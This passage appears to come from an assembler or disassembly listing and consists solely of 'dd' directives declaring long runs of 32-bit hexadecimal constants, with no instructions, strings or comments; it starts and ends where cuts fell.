0A28D93F0h dd 2B024022h, 0D8797100h, 0D600638Ch, 0DBF2B80Ch, 7A990B6Ch dd 85770F25h, 5409AC98h, 0B399C943h, 0EB589082h, 23F37204h dd 6C348110h, 0FB2D0015h, 0FE5906E0h, 0D1702F97h, 0ECBA7A1Fh dd 283E6F24h, 0EA4C0C07h, 7C332850h, 8047277h, 89D41D53h dd 18BDC88h, 9E7C14F2h, 7096F4ABh, 0C778BA98h, 1D5B600h dd 0D9623FA2h, 0ED2A0060h, 0DA190227h, 79079241h, 7775953Dh dd 636EB3h, 90560651h, 6792FD7Ah, 0BF64C801h, 65021784h dd 9CE28980h, 73B160DCh, 69E68100h, 4F8A37C1h, 0A22A0F50h dd 45E9581Ah, 1130D028h, 680E7C61h, 60026706h, 0F5147054h dd 0BC2A543Dh, 87EB00F6h, 158A1FE5h, 0BE007D5Bh, 11A2C6B4h dd 396BA20h, 42472F5h, 14A053EEh, 0DC558D74h, 9A6530E0h dd 602FBC31h, 20B92690h, 1B818A00h, 6E8FD416h, 0E73389C0h dd 0CF4200Ch, 8EF8B312h, 0BF008F18h, 29ED2E51h, 1616DB4Bh dd 5FE69E2h, 0C2D3B864h, 84A2675Bh, 0EEC032C2h, 557B9F42h dd 25203C00h, 0E6387E12h, 600D728Ah, 315D9830h, 5B35644Fh dd 648CE904h, 0C59A00BEh, 904C23C7h, 52385065h, 0F50C898Fh dd 978C101Fh, 0EC704404h, 0B02AE63Ch, 8D8B08EAh, 46091D6h dd 805A335Eh, 0AEFA4ECBh, 0A687061Fh, 39490D18h, 0EACF00FDh dd 0D6D92570h, 690735F5h, 12BA8140h, 0E056C6h, 307DA934h dd 75DA2215h, 8B5FF01Ch, 0AB12F680h, 3C725Ch, 21665D91h dd 9FBD01BFh, 6F67F500h, 86FE6413h, 3FD7F2Ah, 9BCE0F7Eh dd 0EAF84120h, 0BF0CB769h, 2065FED0h, 4EE249h, 7A2925F6h dd 72A93553h, 8037CD37h, 662AC080h, 2D250CE0h, 0DD204DA6h dd 396922h, 0D1951546h, 0C30C2AE8h, 36065Ch, 0DCB1B9EDh dd 37583A14h, 60D195F9h, 0CF728208h, 40A42430h, 0C0032B3Ah dd 8A43DD79h, 3C6054BDh, 4C057D10h, 379A3A18h, 2DCD9B00h dd 7AB5E995h, 5E42E400h, 0D9B4DEE6h, 840831F1h, 358CE58h dd 356100DCh, 0E70BBE07h dd 6E00BC48h, 145DFBF6h, 0E2F959D6h, 5B68C331h, 403E8B08h dd 554054h, 35F16F24h, 0B1F2197Eh, 5C79EE19h, 0F81CF611h dd 0C995B741h, 7D0E9454h, 0DFE7A683h, 915C26B2h, 58008D79h dd 138AB7B3h, 0E6D8C41Eh, 0F3880117h, 91C590A0h, 0CF4DC0C7h dd 2BD6C906h, 514CBFh, 0FAAEF6CEh, 6115113Ch, 60B9433Ch dd 5CF70959h, 0A4EC5257h, 0C0D1DB1Dh, 0FDF0764Fh, 580A1D2Fh dd 0F47BA1D9h, 55413F64h, 0C0A620F4h, 2306A837h, 50A41A54h dd 0F7D00079h, 69CF2128h, 0D1286CAAh, 231F08DFh, 1B40F804h dd 0BFB46FA8h, 0F35201C4h, 151DB82Ah, 3269E084h, 402D69CFh dd 6285E16Fh, 0B45701FDh, 0CA09F859h, 2C46E6A9h, 6012FA00h dd 9E23A104h, 1D110714h, 0EAB24213h, 40540A78h, 68BD40B4h dd 270B4512h, 8FF90AA2h, 5F15C0DDh, 7B010240h, 93CA306Bh dd 37536230h, 58C2B700h, 2E302FB9h, 54A118D1h, 4315149h dd 91CBD050h, 2C0AB090h, 9C75273Ah, 1236C442h, 0F4BDC961h dd 4B06595Eh, 487602CCh, 4978B528h, 0F0651403h, 0A09B94B4h dd 0BB2A52h, 0AA584BD8h, 0CF0A575Bh, 0DD8BFD01h, 0EA2D157Ch dd 0A0784AF4h, 0AE0BA0h, 0DEC96D29h, 6E7E7C17h, 62FC0900h dd 1A4F22D6h, 882E543Ah, 0FEDC0CA9h, 2A11AC8Eh, 1089BF00h dd 0C751E75Ah, 957422Bh, 4132F4Fh, 0DB403BE4h, 5C03C6C8h dd 84ED9000h, 1BDA1C79h, 0BE290059h, 45745797h, 0AC91B743h dd 7926B100h, 60D72F25h, 0D1618052h, 0EC0091D9h, 562A6A42h dd 51950B7h, 2BCE280Bh, 0D00805BEh, 581405F1h, 7D984FFDh dd 160B10Ah, 625DDC09h, 5822F7h, 0AC8C8FFCh, 781C19B6h dd 86750BCh, 22906Bh, 0C3A88243h, 0DC9BB9EAh, 0D825F00Ch dd 2EDB417Eh, 309FE1C7h, 19962A11h, 3877603Ah, 5ACB0048h dd 84C71067h, 1F132803h, 68C61DD8h, 0D8C41C54h, 92C5A93Eh dd 6017FEFAh, 6E00FB9Eh, 665EC14Ah, 4E37A0Fh, 22010D1Bh dd 0F47CC0E2h, 1C06114Ch, 5BDFF7C5h, 0BE6438E1h, 0AFBAE980h dd 7A738445h, 0FD007E74h, 0D15A2942h, 24BEF096h, 2910DC85h dd 0C0AA1CF4h, 0FE4D18C7h, 0BE24308Ch, 83090F4h, 0A1A510DCh dd 0D81033ECh, 9D0C8FA7h, 0F97683A6h, 497A0068h, 31DDF1DCh dd 450119E7h, 9DF40B8Ch, 64204737h, 212506C9h, 8C22622Fh dd 2A40FD50h, 8048BA4Ch, 0C14D08CAh, 59DF30F0h, 29B25621h dd 0D2958A00h, 10115596h, 335A1736h, 243800E5h, 22642F01h dd 0F7D15C15h, 91BC212Ch, 0A7DC1138h, 8B1EAC01h, 0D8C230EEh dd 0F97F898Ch, 657511F2h, 4A245213h, 24F8D822h, 0B93CC868h dd 8138D02h, 40F65769h, 13F41BCCh, 20ECB76Eh, 308EFCDCh dd 5EB231C2h, 0A1D88419h, 77FDEF40h, 0B400E6FAh, 5F22670Fh dd 0E478C01h, 6A0D8621h, 93CD7923h, 0BBB781A8h, 28F4838h dd 6F897CE1h, 0E4622Ch, 3583C32Ch, 21289A73h, 0F003CD3h dd 0DBED6EFCh, 54F10264h, 0B64221FDh, 0F03E8C44h, 88E84DE5h dd 0DD927Fh, 945F8C0h, 0CD010A7Ch, 0BE23C4C9h, 182330C7h dd 3A9D7203h, 39007382h, 27B5565Ah, 87D4B0h, 0B6E4B254h dd 0B486470Eh, 43FDB31Eh, 58811518h, 0D84B48FFh, 4ABD19Fh dd 0F1D164BEh, 63DEC480h, 5CB648AAh, 18420840h, 0E054F556h dd 0F73F6E88h, 10578CF6h, 16289A2h, 6809CE29h, 75AA9369h dd 7210EA10h, 942C55C9h, 79820E21h, 4314A815h, 77F20140h dd 57B12900h, 3699BB8Dh, 86C70E71h, 0F474B78Ch, 0A000F48Bh dd 0DA90DCFFh, 8263AC00h, 2855B0B4h, 681400C4h, 1956C201h dd 9CA438C6h, 80A08248h, 4A14C98Eh, 0AF6E00F3h, 0B6252069h dd 0FB01C8B3h, 2F3C73F5h, 0F3C82260h, 7F871DF7h, 13E140D0h dd 502A0DF9h, 271DDD0Ch, 13FC187Ah, 0B19EA18h, 0A0004DFCh dd 59BDA6A2h, 6B681C09h, 0AC7C80B5h, 0F402D836h, 96CF0CE4h dd 7EC2140Eh, 0B16F2A00h, 2827801Dh, 5454F8E6h, 0B0D04Ah dd 4DF94895h, 5F82465h, 0F88D1625h, 694B29Ch, 7BD30A35h dd 0BE0F4A95h, 0E11744FCh, 696622F9h, 0E84E1072h, 8B240019h dd 1E557F6Eh, 4754300Ah, 3AC62769h, 0FF6AF500h, 67EAE9Fh dd 3F8CB3B2h, 0E00A209Dh, 0A680A491h, 69BEB2FDh, 0FFBE0EBh dd 79ADB9BCh, 94F1F6E0h, 2C0D6050h, 0B82E0DA0h, 91613AE1h dd 0EADD1424h, 4173268Fh, 442400D4h, 16C9F4D1h, 0A4A0B0Bh dd 59D581DCh, 0EC24F2FFh, 0C032F5F3h, 0A363AA00h, 9488BC75h dd 2B73Ah, 0C9360F2Fh, 1667B351h, 169F6CCh, 725752D4h dd 0BD80604Eh, 0FE5901FBh, 0B2218423h, 4554983Ah, 3BD319h dd 0C1DA0820h, 0E1090387h, 935C3004h, 48905EDFh, 0CA42F558h dd 40B86831h, 4CD336C1h, 0E644AE00h, 0F8E0479Bh, 85CC0A30h dd 1118517Ah, 43007D39h, 3176C98h, 3BF31D8Dh, 0BC00146Bh dd 0B98FF4BAh, 0CE3A19AEh, 68DD0CF0h, 7A3927h, 0D2B89C89h dd 5DED0193h, 0CAF5D900h, 535B90E2h, 0C6F002A2h, 0F25857F3h dd 0AC46F892h, 27BA2002h, 68A06BBEh, 5CDB092Ch, 0DC072198h dd 0C32ACFD0h, 317A4ACEh, 80808494h, 73F57C3h, 158C0052h dd 0FB43AF23h, 5E09E332h, 81B22F51h, 8F7B1F28h, 2B28E0E2h dd 0D0295017h, 8228B8FEh, 57C4208h, 0F0888214h, 0A250001Ah dd 0F3E33B7Dh, 0AB00A3D8h, 0C4B057F4h, 0E092DCC5h, 1DCA48Dh dd 54F8BEAAh, 9044F958h, 0D0806BE9h, 70EEA53Bh, 58C3FF02h dd 50998257h, 43543090h, 0A6223131h, 0CD0DB900h, 4776C83Bh dd 0FB4638A0h, 107983Dh, 30F51D84h, 7F51296Fh, 0FD96C203h dd 0C0E94164h, 9BEB54Fh, 12D42863h, 0E2199418h, 0D70AA501h dd 2A89DC11h, 0AE41F0h, 44F4AF9Bh, 0CC622358h, 4D205B03h dd 3A69C4h, 1C8281B9h, 9D6F30Dh, 8797C200h, 16390429h dd 799300CAh, 0F41965A3h, 90007581h, 5BFCAEDDh, 59A561h dd 91E1B443h, 1C3A8A0Ch, 76B95812h, 80682422h, 1805BFD0h dd 0FC708102h, 284512C7h, 0D9D00801h, 0F0581441h, 0B4219C23h dd 0CDF6B101h, 18314C7Bh, 2036B3D5h, 282DC013h, 4E40EE04h dd 68C64872h, 51A6DC86h, 0A30CC900h, 721C3C77h, 4B76044Dh dd 0A075B65Fh, 0BE884864h, 7B7E4024h, 2C285841h, 618BEF80h dd 4603DFE1h, 84AFC050h, 222BD88Dh, 0EE4570F1h, 0F23E0024h dd 3B19A66Dh, 180009DDh, 1110FC7h, 3A53B81Ch, 0EFBA34C5h dd 0A9256918h, 0FA008B51h, 8CA6F7B0h, 782A319Ah, 8A350BD8h dd 0AC3043ECh, 4CB964FCh, 9C68BC19h, 5C55CF70h, 0A0C050F9h dd 207395FFh, 9E0659E0h, 3497CEB3h, 0EDB40B39h, 0FB002C91h dd 85B75E7Ch, 47F708A0h, 5DC6E48h, 0DC400299h, 601F544Eh dd 47989BCDh, 0B44A007Ah, 0CBECE62Bh, 84E0328Ah, 91FD9C00h dd 0F9B5229Ah, 0AE1D18C3h, 93177071h, 0FDAFD900h, 4449255Fh dd 0A82858C7h, 108072C8h, 67929BACh, 2975E6h, 0ECC6BBF7h dd 0B145669Ch, 548B7500h, 50C3ACE8h, 90CC501Bh, 401789AAh dd 82E25FAh, 6EE05CF1h, 9ED60500h, 44FD6CE0h, 7C6900EEh dd 4CD86DB7h, 0F105D074h, 5D182FCAh, 19877F85h, 58B03F74h dd 8808A256h, 0BE091460h, 0C846CCh, 1FF55422h, 0BB43C4E4h dd 82134091h, 6ADFA8D0h, 9A6900F1h, 457BA0C7h, 8C9F621h dd 864F0h, 0A7B5792Ch, 66A2809Ah, 0C964BA00h, 4397672Ah dd 0AA0B0483h, 0B4825411h, 210B8F88h, 8248FE52h, 40CEBF76h dd 316C48h, 0DAA664E0h, 6A30AD1Dh, 6974781Ch, 0E52790C0h dd 934C7Fh, 0BFDF1005h dd 0EB51C5EDh, 0C9611500h, 6F13AB83h, 65B20E3Dh, 6CDB38Bh dd 10B80910h, 24B43740h, 0BD918800h, 0D1582263h, 18CA4F3h dd 64CB82Ch, 0C8201945h, 27132E4Dh, 98301511h, 202F129h dd 0A4969AC3h, 98CCD0F5h, 0A004624Eh, 80898CFCh, 1900E033h dd 4F1AFA52h, 6F00B6B7h, 48E09A47h, 0E82075E3h, 44F60112h dd 6AF41F11h, 52FAB7h, 308AFE02h, 0C12F2920h, 6C62FAF0h dd 4EC0DBCFh, 0CE4628C2h, 689031B0h, 0F144C49Ch, 24113400h dd 0C0182F19h, 95617783h, 8772F0h, 0B58F66DEh, 226DC51Fh dd 8C015A12h, 9B2E4C8h, 79E1B1F9h, 0DF54A468h, 477720h dd 129DCE0Ah, 576EF714h, 0FCA41A2Ch, 13FB2840h, 49CA5A72h dd 0BC0FCCD4h, 0C692BC20h, 9013E4Ch, 228F45AFh, 0AE06795h dd 266933DDh, 50C7B031h, 50BF6F31h, 46F88F04h, 0F680A49Ch dd 5C1CCE0Dh, 73C0F075h, 3264E6EAh, 0FB890B02h, 40AEF252h dd 72DC8BCh, 7EBC4C51h, 0AFCFD319h, 3BF8E2B3h, 3A00F278h dd 0CD28260Ah, 42C247h, 90107454h, 0F0ECD35Ah, 180AC82Eh dd 0FC52CF00h, 1F3C8D60h, 0A5428B1h, 42FC99CCh, 0E8A2E11Ch dd 0C491B92Ah, 9E1038F3h, 67181F40h, 3F6A24Bh, 0CA6ED310h dd 52B8ACD5h, 0A5000F6Ch, 960A7CEBh, 49315C59h, 2101E012h dd 0FC81BC2Fh, 0B638428Bh, 0B943CCB0h, 0B695E6Bh, 0D81684h dd 0FF5E8818h, 0FBFC6FF5h, 78823E12h, 47B10840h, 0F1C08B5Fh dd 58C64DC0h, 7214A0CFh, 0C98EE0CCh, 6C480A92h, 0B0424170h dd 0FE5811A1h, 57060022h, 617C2725h, 1800685Bh, 2BDDC9CAh dd 0FD4086BAh, 5D688014h, 0CB1B5C0Ch, 8071F850h, 9143FC8Bh dd 3840EB20h, 8BB700F0h, 4A62992Ch, 0A0E2D1DBh, 3354F1E1h dd 73EB00E0h, 28F68446h, 198E821h, 0D16563B7h, 60BFF9C9h dd 95017828h, 59CF5362h, 0A04841F0h, 6E6D8838h, 0D3EC2900h dd 2FF12AB7h, 1ACD13E6h, 787488F2h, 170518Ah, 3BF12365h dd 51407052h, 53C87CA1h, 0F1E8F0B4h, 541426E2h, 1310A210h dd 70C2CE50h, 441478B6h, 3901113Bh, 985D074Eh, 0B1FCA637h dd 353C2D82h, 0C4A0889Bh, 8A8A71Ch, 700ADFFh, 0FC096FF9h dd 5E1B6Eh, 0F6417D6h, 13E889A3h, 0B3C7DC04h, 0A8C01E67h dd 9EC87209h, 3C8C83D4h, 2398F22Ah, 0B902F145h, 0D13DD8DFh dd 2C70E1A1h, 52FE5510h, 7680D0B1h, 17A63A3Bh, 0AB810040h dd 292E746Ah, 7D0086D6h, 9BF461F0h, 2C324FF1h, 0C8903Eh dd 0BDB7776Ah, 1011C6Fh, 697514B5h, 5E100E82h, 22005040h dd 0E6C03C6Fh, 39B1D043h, 21CECC12h, 0CDA02C28h, 2AC87314h dd 1C91CCB9h, 0E9F9B880h, 0D1C5F0h, 52F72C73h, 257B2640h dd 80982B4Ch, 59EF1768h, 88D649FBh, 0FFBF5B02h, 8084257Ch dd 44E265h, 0F0224641h, 9E301E0h, 80241F6Bh, 0B3428C68h dd 0C0A950B6h, 4573B481h, 8CC070B7h, 3773BFh, 2F31AA76h dd 0F77C1225h, 0FCA5100Ch, 6808E4h, 0DD6CF006h, 0D8F58EEAh dd 9D48B9E8h, 0AF661864h, 45213A60h, 83F8280Fh, 89EB2F70h dd 0AF601FFBh, 6FD01D59h, 2D2546C5h, 72163101h, 682922C2h dd 8FBFDCh, 0CFC176C9h, 3DE810A0h, 0E22BA803h, 926DF646h dd 0E4AC1514h, 1D1C9600h, 8834CB72h, 0F853E054h, 0F3B167D8h dd 0CCA7ED70h, 31D90126h, 125CFF0h, 5BE8602Fh, 84F2D121h dd 0C0B24CBBh, 5854F7F4h, 494FF330h, 95ECB9EDh, 0BC91C18h dd 1220E0B2h, 0DC0948FEh, 0FF84E9C4h, 582F5180h, 600899F5h dd 736CC962h, 46F6FD03h, 0F0A40B86h, 5B24540Ch, 2C4C2C29h dd 0D076B280h, 0D042B8A0h, 0DB96EAC0h, 8C003FF1h, 4399C1FCh dd 0C2B9A5A7h, 8EFE5B50h, 284BAA10h, 4CB4B1F6h, 0C11628CAh dd 1DD49069h, 640E3F35h, 0E2AAB9ADh, 90712C3Ah, 8A32CFF0h dd 5487D0D9h, 62C4E303h, 33ECACC0h, 0AA3F3EC6h, 0CA57C593h dd 13012274h, 21A82768h, 62F0581Ch, 0B95C1F04h, 0E137548Bh dd 0FB104660h, 74005811h, 8F719849h, 722BA4CBh, 0A0253ABCh dd 1AEC5080h, 0E251D2A5h, 0B7B38h, 58D7C3B7h, 14B3F46h dd 0E5784A73h, 87272F6Fh, 5D832220h, 0F8BC4320h, 40814A54h dd 65FBD170h, 9D2F10FEh, 713410CDh, 0E6297D67h, 18F500DAh dd 129203E4h, 8900FFDCh, 6B3D15C4h, 2CF74442h, 1E44B21Fh dd 0D00B169Eh, 16B45E14h, 0EF9A721Eh, 5CFDCBC0h, 7CD00144h dd 8DFC1C33h, 56E380EEh, 29C0B8BFh, 0DD08C404h, 58A4B243h dd 72F6120Fh, 6984B057h, 2652122h, 59BA4CB5h, 0B8C43DFCh dd 8288B878h, 0C0C9DD77h, 0D9134A01h, 8D3FD75Eh, 0A9E0050h dd 9EAC6CAh, 3ECF00A4h, 64F1C31Dh, 3765D801h, 58C7F438h dd 0D159C412h, 0AE2C00B8h, 4C831E30h, 0CD78A500h, 3E1C0D4Ah dd 0C3A70163h, 6471F41Bh, 2F022F1h, 2C6C907Ch, 0A67041BCh dd 48E4DF02h, 2E461D00h, 0C5D5439Bh, 8BB80024h, 5679F7BDh dd 6004C39Ah, 0A82839CFh, 0EC6E9C82h, 0DF571130h, 858103A4h dd 8BE7F9FBh, 20D3D8F2h, 5D7C9052h, 652E58C4h, 84C39060h dd 3A4224C6h, 80567729h, 0FA678BE0h, 0DFB611C8h, 0FC3A015Bh dd 0F812FD87h, 1ED555DCh, 9ACF93h, 8E897E8Fh, 6C26FCCDh dd 906470AEh, 0BE09201Eh, 0BED2D54h, 0ABCC04A4h, 0CDBAB540h dd 5613B214h, 8DC374Bh, 0F78C00C4h, 59161AACh, 4905DFC9h dd 0F411F1C7h, 69B53882h, 90402CB0h, 96550ACCh, 0AFA054h dd 0ADB24FE0h, 93C5BAC0h, 5A99E702h, 7A5417FDh, 2D470068h dd 9EE9F572h, 430EC4AAh, 82DC9382h, 0D1615883h, 287C1688h dd 10000E00h, 0B4980BADh, 0A7E854h, 19651B96h, 0ED5CB6CEh dd 0A8FFC1Ch, 0B4247040h, 12F68985h, 0FA7C1F49h, 1408DD10h dd 2E1467FCh, 902D54C9h, 1114E6B0h, 886961h, 66A60F55h dd 5EBC25EAh, 349460F1h, 2E00F011h, 4AB0FD55h, 0EC5CDDD0h dd 0E93C0063h, 0B1B54852h, 0CC0B2862h, 18C97215h, 94F45900h dd 504A5094h, 0BA763D00h, 0C66B323Eh, 1410F902h, 242E1147h dd 4247CC71h, 8088D24Fh, 6968893Fh, 0B72B0070h, 49C51513h dd 5634007Bh, 0D2EF8F14h, 0F430D50Ch, 18C82817h, 93A0004Dh dd 0D03D2A32h, 672D6AF3h, 0E62B70D2h, 4223425h, 8040B889h dd 54DA613h, 8BE739FDh, 0E170A480h, 1C977698h, 18146707h dd 8AD30350h, 3CE9E8A6h, 0F26E0AAAh, 2C4E41Fh, 48D43538h dd 127C10C1h, 0E43C5C68h, 6C1E414Dh, 51EAB87Eh, 9168A400h dd 0B32A00A0h, 7C709427h, 74B14C42h, 0CE480A8Ch, 2A59F4A1h dd 64601039h, 1DC02E0h, 0D1CCBBBCh, 1CEB8C80h, 0C6784904h dd 2930F100h, 0DD121520h, 4B380196h, 8FB4FD57h, 5ADFFCE4h dd 226871C0h, 0CF040Eh, 0F71DEE74h, 4A1AA783h, 4FF13Fh dd 0C042AB58h, 0AD0642Ah, 50EE2C25h, 0DBB58044h, 0DC46E599h dd 1CD9D120h, 812A56B7h, 16242389h, 40246C50h, 0F150D008h dd 20978214h, 0BC7E02C8h, 9EA3023Dh, 99CCD329h, 34124444h dd 0E0CDC4E4h, 588F5C28h, 0A5E864C0h, 19039AA0h, 0F851DFFh dd 0F1149AD4h, 482FC078h, 0A11FD6FDh, 349954D7h, 30103321h dd 3171EB5Dh, 4AB1B3Ch, 3CF6BA1Ch, 581D5CE6h, 0F8F9225Ch dd 3700452Fh, 0A51FE13Eh, 130D019h, 71D2ED4Dh, 33F0C43Bh dd 0D61C00F8h, 0B673DBECh, 6D7E0033h, 0D4F33724h, 463E22D0h dd 8EF88BADh, 0F0D01383h, 71087B05h, 0B990FF1h, 419297CEh dd 0F692141Ch, 0C0AC3934h, 0F88EF962h, 79A563DFh, 0D4923433h dd 8C8600FFh, 17BBDCBh dd 3FBE2A57h, 40E56301h, 3CA8BE4h, 51DE0748h, 10080428h dd 804B14ECh, 2DA14684h, 0F1DD0904h, 64BC2125h, 0C190249Eh dd 552BC872h, 8F24F398h, 41D58080h, 651DFA5h, 3D21D827h dd 36005CAFh, 243A7CFFh, 0B823ED88h, 8F2091B0h, 0C0FC7982h dd 87B0ACDBh, 4E0049D1h, 0FEF741C8h, 1547395h, 58344B59h dd 21C216F9h, 80B06CB0h, 7B1A07A8h, 5B5F00A0h, 4F102C14h dd 9C4B8302h, 4AE2745Dh, 85744054h, 66F5CEC5h, 0FAEB2400h dd 0B0B20B90h, 0E7DB00A0h, 9C0FE441h, 8805CD72h, 0C3536287h dd 55C9D8C0h, 10DB008Fh, 9B327338h, 5D03EA37h, 13AE754Fh dd 7CE9E051h, 0B56C028Dh, 223064FEh, 46B4FCC0h, 6AA81900h dd 0B7F9CFB9h, 0F29409EBh, 0DC841CC4h, 455493Ch, 0F04C507Ch dd 612DD28h, 8A004D20h, 11FFF762h, 0FC280069h, 0A4A2EA8Ah dd 0BA2F1FACh, 0B25C18C3h, 9F4B8CFh, 1FCE16BEh, 9750000h dd 0C90C7D1h, 27DAAF00h, 6FFC6C4Ch, 0AB0100F0h, 0DBDB44Bh dd 0A158303Ah, 0F9C70B78h, 94D00051h, 17E429C6h, 2069DD14h dd 1D155E3Ch, 0CA001979h, 844C3121h, 5AB7F5h, 57798F82h dd 67CBA81Ah, 0D39087A0h, 6DBDA200h, 0E2582936h, 0F63BB8F4h dd 0F5C800DBh, 55A96F68h, 0C401C3F9h, 0E7B4F061h, 0BBC8438Ah dd 5A64E0DCh, 57442811h, 54B39904h, 1080E179h, 91F2675Dh dd 69FC0068h, 1D880CC9h, 28BA343Ch, 0BF260891h, 0B40850ABh dd 4076445Ah, 84026D12h, 11970352h, 0D672C329h, 0B14CC1FDh dd 58184775h, 591F9880h, 0E6CC3CFh, 93CA9654h, 0EC2E63C0h dd 6A0791CDh, 0FCB9E77Bh, 8410CEA7h, 611621Eh, 6DF5DC2h dd 7344517Ch, 78900A7h, 203E7565h, 45009F24h, 6DC97A14h dd 0C21C095Ch, 2F012228h, 86F624E0h, 2B70809Dh, 0E1CF0A2Ch dd 8E40022Bh, 347E226Ch, 1375213Fh, 13A4B3D0h, 0DC2398CDh dd 4C268030h, 6DAA003Ah, 78745225h, 510C3642h, 293D69C5h dd 0A74B001Ah, 86E0E5BCh, 894B743h, 3392CB41h, 0C281807Ch dd 950B9E1h, 0F0C30800h, 0B0B1DCh, 305249FBh, 421D31C4h dd 44679482h, 986F00A8h, 0BAA6D91h, 840001DBh, 5288F57Ch dd 4906312h, 2C2992C2h, 61C0CCCDh, 0B4000374h, 0C48B86C6h dd 57E98DDh, 0B532E7E2h, 83AC85BEh, 0BCC978E0h, 14DE0062h dd 481FE2DFh, 84184B4h, 0C14B8A0h, 0AD5D0164h, 140412B9h dd 0F4586F86h, 60685CA4h, 25DFB93Eh, 0D300F574h, 0DECAB972h dd 307B2C38h, 5408EC07h, 0B8046F2Ah, 0F025F3F7h, 0C0B46885h dd 0FA5880FEh, 0F3593860h, 2D2AF452h, 0C0A0DFB6h, 1DAD6264h dd 84DEA901h, 0D25B01F8h, 83EDAEDh, 0AA84AF4Ch, 28C5C74Bh dd 5507ECB3h, 40934923h, 540B4F9Ch, 2BA61C27h, 94580074h dd 0C6E80F4h, 23C57214h, 9C91DC39h, 21E6D500h, 0F2DC05Bh dd 1368907Ch, 9C15DC40h, 0ED25A9D1h, 0F2202054h, 7D79C448h dd 97221F4Dh, 59364019h, 95FB1B99h, 0BEED4B01h, 0AFD4C9CDh dd 10278829h, 80CA78A5h, 38C9C1D0h, 81002CE9h, 5FEBFB2h dd 12AAD4C0h, 90253DBh, 2C604C8Ch, 84A4DC4Eh, 9268000h dd 8E21877Ah, 732D2625h, 0BA6894BCh, 4DF9590Bh, 85730A0h dd 0CF7272EBh, 1B80DC94h, 9CAC7DBh, 2657FAF7h, 80CB775h dd 70917C7Fh, 78E34001h, 0D4FEB787h, 8601AA18h, 0EADED047h dd 42E4A80Bh, 390362B1h, 34F1F858h, 13765207h, 0FD2E2531h dd 0CC72A185h, 5EC0222Fh, 92831420h, 474008Dh, 0FF46ED9Ch dd 0A1058BACh, 0E2B8BB0Ah, 0DB50D382h, 4D2803D4h, 117F4EA6h dd 7E24C613h, 79221404h, 0C0C7DD47h, 0B29ACF0Bh, 4F00EA7Bh dd 8AFD98CBh, 0FCD0F2Fh, 5B7AF89Ch, 6B296CC0h, 0B00BB51Dh dd 0C5331Ch, 68889318h, 554C3E3Ch, 57F2CD81h, 42B3210Ah dd 0E45C2ABCh, 146FF0E0h, 989100BDh, 0F7C229D1h, 4D163B0Bh dd 6C95C673h, 1FC06060h, 441900A0h, 0C3D008DEh, 5BF42E2Dh dd 0F5552200h, 1C7E82F7h, 0E9410462h, 0B42D3A43h, 69266108h dd 0C9845CC1h, 8B4550Ah, 1F6DEA2Fh, 254BA09h, 0E207F1C3h dd 103E80C1h, 4C80E912h, 370443B2h, 80E85899h, 0C80BFE0Ch dd 19519500h, 9FC2184Bh, 85D50FCh, 0C082041Ch, 0B42625F0h dd 8978AB10h, 0F11262F4h, 0BCD180DFh, 5B1051F4h, 939E854h dd 6868B1E3h, 34600BCCh, 224600CDh, 0D8B1B7F2h, 0FCE24903h dd 4FF16B03h, 0A8654576h, 0DDD1Bh, 1178701Ch, 9C2C7FF9h dd 804AA73Eh, 91163610h, 7F4DB00Ch, 46C80025h, 0C5E03776h dd 7C05E5D1h, 2A27EDC9h, 8FE38880h, 0CFC8122Eh, 6AA0C809h dd 1D20393Eh, 0C131DC1Dh, 5DC0CAB5h, 0EED2F821h, 70BC1712h dd 0CE610033h, 1DCF903Ah, 685DF200h, 0C5E1BF60h, 0B0A2E491h dd 0ED520194h, 0B3BC5330h, 80006CC2h, 71FB4670h, 94320585h dd 2118DFBFh, 1045F898h, 0EA52F5F3h, 5C2E7CB4h, 0C3C0ACFCh dd 310BA310h, 907EEC0Ch, 0FC6270D2h, 0FEF004h, 6D5B2A7Ah dd 0D0108E17h, 18C1C224h, 6C221503h, 0A4B884C7h, 0BF800C88h dd 0E8DDA6A7h, 0EB8501B0h, 9BBB97FCh, 81A5ECB3h, 905F5D09h dd 2B0C9083h, 0B99900CCh, 1E260866h, 50E4DC29h, 0BBC6310Fh dd 38C1760Fh, 421244F1h, 123E4471h, 90DC50FEh, 7AEC02A5h dd 0F8823D41h, 282E2841h, 803F8880h, 2F8409DDh, 0D303E6DBh dd 0D7988A32h, 9A74A8CFh, 6B104A7h, 0E89DF44Fh, 71258000h dd 0F222662Fh, 22F15BD1h, 5604BEFCh, 10652349h, 0F1BD5200h dd 0ECC17C40h, 0F6721F3Bh, 0D88987A6h, 0B2820F3h, 0FF79CBBEh dd 220120B9h, 0BABFF743h, 5C611071h, 4E47944Ch, 2664D0DDh dd 677EEF6Eh, 80CFD238h, 0FE4E1D15h, 9B483A3h, 43DC46B8h dd 1478D4C4h, 6BCF8F25h, 96B82F9Ch, 649ED42Eh, 33113ACh dd 81B7EA5Ch, 9658A04h, 0F4C2F8DCh, 229604BEh, 4850210Fh dd 42A8DC3Fh, 933ACD38h, 7C007818h, 6C85A4F3h, 585409A0h dd 0E0F94AF6h, 0C4944C20h, 0DC086707h, 42CD14Bh, 1287F59Bh dd 27F9030h, 0CECD3DB2h, 6E9E403h, 56A0F477h, 0A0F8B7FAh dd 62AE9D00h, 94AD7C2Ch, 496C271Ch, 7CFAB069h, 0A898C01Ch dd 0BD295760h, 4F1F3422h, 288CEA20h, 0BA421272h, 0B789CA7h dd 0AC8B0E00h, 85DD22BDh, 61AEA2DCh, 840C029Ch, 0CC117381h dd 0BFC9010Ah, 22F73090h, 0B842141Ah, 7122345Bh, 59629207h dd 6C502DBAh, 0CB9B2A6h, 8621BD16h, 50400AB0h, 4FC75F72h dd 0F2F63A60h, 34C511B4h, 6276167Dh, 66000C2Dh, 4309DD39h dd 0C0DC9882h, 5475F8Ch, 8DFD1A0Ah, 14FC06F9h, 6E44A8FFh dd 8C08315Bh, 5ADB8D8h, 42C60C8h, 0FA119656h, 2654E2EAh dd 0B900EAE3h, 5C1965F5h, 1FA30068h, 0DB59AE0Ah, 0A8581B15h dd 638A7CECh, 0DDD1E094h, 0F03F0678h, 0D17F0167h, 1451C439h dd 0E87C24h, 0F43CE9E8h, 0E4F16132h, 34AB2C1Bh, 9B13C0h dd 5BF5695Ch, 0BA06296Eh, 0C6B114E7h, 0C1B609E9h, 6090810Ch dd 0FB121F82h, 74006EDEh, 0BF1866A8h, 0DFD3006Fh, 0D1C29DF0h dd 0F0AA6C1h, 8C171B9Ah, 0FA219510h, 0E4695C02h, 80EC5C50h dd 4028A18Ah, 5A73EA4Dh, 1E207258h, 7F849471h, 7C85CCC8h dd 7E894C8h, 21C5A0B4h, 0F981C0A1h, 6E0BFDB1h, 7A5415FAh dd 0B8AF0054h, 9B3BA0FEh, 